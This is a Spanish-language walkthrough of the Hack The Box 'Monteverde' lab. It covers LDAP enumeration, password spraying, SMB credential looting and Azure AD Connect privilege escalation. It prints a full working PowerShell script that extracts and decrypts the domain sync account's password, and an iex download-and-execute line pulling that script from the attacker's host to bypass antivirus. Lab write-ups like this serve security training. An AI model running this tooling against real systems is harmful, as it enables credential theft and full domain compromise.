Hack The Box — Monteverde Walkthrough
Enumeración
Comenzamos realizando un escaneo rapido de todos los puertos abiertos:
nmap -p- — open -sT — min-rate 5000 -vvv -n -Pn 10.10.10.172
Enumeración LDAP
nmap -n -sV — script “ldap* and not brute” 10.10.10.172
Obtenemos la informacion de varios usuarios, vamos a filtrar estos resultados por el nombre de los mismos.
ldapsearch -x -H “ldap://10.10.10.172” -D ‘’ -w ‘’ -b “DC=MEGABANK,DC=LOCAL” | grep sAMAccountName:
No todos estos son usuarios reales obviamente y tampoco tienen porque ser del dominio para hacer una lista con ellos vamos a meter los que no tengan nombres separados de grupos
Normalmente cogeríamos los que parecen de usuarios y cuentas de servicio asi como usuarios que no son por defecto.
Creamos la lista y la validamos con kerberute
Si hacemos fuerza bruta con los propios nombres de usuario obtenemos acceso con el usuario SABatchJobs.
Vemos que el usuario es valido sin embargo no pertenece al grupo de administracion remota de Windows por lo que no podemos acceder con winrm.
Explotación
Probamos a volver a acceder a SMB con estas credenciales
Conseguimos listar los shares, explorandolos vemos un xml en users$
Lo descargamos y vemos que tiene una contraseña
Como estaba la carpeta de mhope probablemente sea suya pero vamos a confirmarlo con cme
Pertenecen a mhope el cual es miembro del grupo de Administracion Remota de Windows
Escalada de privilegios
No encontramos ningun vector de escalada con las enumeraciones básicas ni con winPEAS por lo que vamos a enumerar archivos
En Program Files vemos una instalacion de Azure por lo que buscaremos una explotacion relacionada.
Azure AD Connect for Red Teamers
El enfoque principal del artículo es sobre el servicio “Azure AD Connect”, que se utiliza para sincronizar la infraestructura local de Active Directory con Azure AD. Los atacantes pueden abusar de esta sincronización para obtener acceso no autorizado a cuentas y recursos en la nube.
El autor proporciona ejemplos de cómo los atacantes pueden obtener credenciales y contraseñas almacenadas en la base de datos de Azure AD Connect utilizando herramientas como “SharpZeroLogon” o “DCSync”. También discute cómo el proceso de sincronización permite el acceso a hashes de contraseñas de usuarios en la nube, lo que puede abrir la puerta a ataques de Pass-The-Hash.
Lo que nos interesa es el POC que contiene lo cual permitiria extraer la contraseña de administrador de la base de datos de Azure
Write-Host "AD Connect Sync Credential Extract POC (@_xpn_)`n"
$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=(localdb).ADSync;Initial Catalog=ADSync"
$client.Open()
$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
$reader = $cmd.ExecuteReader()
$reader.Read() | Out-Null
$key_id = $reader.GetInt32(0)
$instance_id = $reader.GetGuid(1)
$entropy = $reader.GetGuid(2)
$reader.Close()
$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
$reader = $cmd.ExecuteReader()
$reader.Read() | Out-Null
$config = $reader.GetString(0)
$crypted = $reader.GetString(1)
$reader.Close()
add-type -path 'C:Program FilesMicrosoft Azure AD SyncBinmcrypt.dll'
$km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager
$km.LoadKeySet($entropy, $instance_id, $key_id)
$key = $null
$km.GetActiveCredentialKey([ref]$key)
$key2 = $null
$km.GetKey(1, [ref]$key2)
$decrypted = $null
$key2.DecryptBase64ToString($crypted, [ref]$decrypted)
$domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerXML}}
$username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerXML}}
$password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerText}}
Write-Host ("Domain: " + $domain.Domain)
Write-Host ("Username: " + $username.Username)
Write-Host ("Password: " + $password.Password)
Lo creamos en nuestro kali y como no podemos descargarlo por el AV lo ejecutaremos directamente desde fuera.
iex(new-object net.webclient).downloadstring(‘http://10.10.14.15:8888/azuread_cred.ps1')
Ya teniendo las credenciales de administrador podemos acceder con winrm o psexec